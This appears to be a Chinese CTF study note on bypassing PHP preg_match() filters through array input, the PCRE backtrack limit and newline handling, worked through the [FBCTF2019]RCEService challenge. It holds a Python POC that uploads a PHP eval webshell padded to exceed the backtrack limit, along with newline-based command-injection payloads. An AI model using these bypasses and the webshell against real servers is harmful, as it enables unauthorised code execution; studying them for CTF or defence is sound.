php中preg_match绕过的换行匹配问题

记录一下关于preg_match()的绕过方法,写一下自己的一下理解...

preg_match()绕过一共就几种方法:

1、数组绕过

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

有函数原型可知,参数是string类型,所以传入数组就能直接返回false

2、PCRE回溯次数限制

这里的话p神的文章写的很清楚

长度默认是是1000000

贴一个POC

import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

3、换行符绕过

这个是文章的重点,很多文章都说不设置多行的preg_match()只会匹配第一行,其实这种说法是比较片面的,并不是%0A之后的内容就不匹配了,而是要看设置的表达式能不能匹配到%0A的问题

首先我们来看一下正则的修饰符先:

image-20240316015219600

以下的讨论都建立在没有设置m修饰符的情况下

再来看看几个重要的表达式:

^:匹配输入字符串的开始位置。如果设置了RegExp对象的Multiline属性,^也匹配“\n”或“\r”之后的位置

$:匹配输入字符串的结束位置。如果设置了RegExp对象的Multiline属性,$也匹配“\n”或“\r”之前的位置

.:匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符,请使用像“(.|\n)”的模式

也就是说不设置m的话,^是不会匹配%0A之后的内容,$也类似,但是这只是这两个符号不能匹配而已,如果这两个符号之外还有别的表达式能匹配的话,是可以匹配的(后面的例子就会看到)

这里以buuoj的[FBCTF2019]RCEService作为例子

它的表达式是

/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/

然后一个可行的payload是{%0a"cmd":"/bin/cat index.php"%0a}

接下来我们就看看这是怎么绕过的?后面的那个%0A有没有必要?又是什么作用?

如果按照一些文章的理解只匹配第一行,那么第一个%0A之后的就不用管了,但是为什么如果去掉后面的%0A就不能绕过了?

首先是^.*的部分,这里会从字符串的开头开始匹配所有.能匹配到的,所以在payload中,就会匹配到{;然后剩下的就要接着看

中间括号里面的是只匹配一次而已,并且在最后是包含了\x0A的也就是%0A,所以在{后面的%0A就会被中间括号里面的表达式命中,但是括号的表达式只会匹配一次(可以看作是只发挥一次作用)

所以第一个%0A后面的"cmd":"/bin/cat index.php"%0a}全部要交给.*$,意思就是如果.*$能匹配剩下的所有的字符的话,那就表示这个正则表达式就命中我们输入的payload,就不能绕过了

那我们就看看.*$能不能匹配到剩下的所有字符,"cmd":"/bin/cat index.php"这一部分毫无疑问肯定是能被.*$匹配到的,但是接下来的%0A.就无法匹配了,而且这没有m标识不能多行匹配,$也不能匹配%0A,所以这最后的%0A就无法被匹配了

再看看为什么%0a{"cmd":"/bin/cat index.php"}%0a这个就不能绕过呢?

按照我们上面的分析,这个肯定也是能绕过才对的,因为会剩下一个%0A不能匹配,但是!!!

我们测试一下就知道,使用preg_match()的第三个参数,就是保存匹配到的结果的参数,我们输出一下,直接用上面题目的例子

image-20240316032956287

传参:%0a{"cmd":"/bin/cat index.php"}%0a(注意使用bp来传,如果你是window的话,浏览器会变成%0d%0a)

再看一下匹配的结果:%0a{"cmd":"/bin/cat index.php"} (url解码后)

你就会发现他并没有完全匹配但是它仍然返回了1,并且触发了Hacking

这就涉及到了$的匹配的问题:

因为这是单行模式,所以PCRE就会认为这是一行字符串而已,所以$就匹配了文本的结尾,又因为%0A在最后,所以在逻辑上,%0A就被匹配了(相当于是认为是单行文本,最后没有%0A的),所以返回了true,但是实际上字符串并没有匹配出来

image-20240316034138068

这个师傅也讲了相关的问题

所以如果我们改成%0a{"cmd":"/bin/cat index.php"%0a}就可以了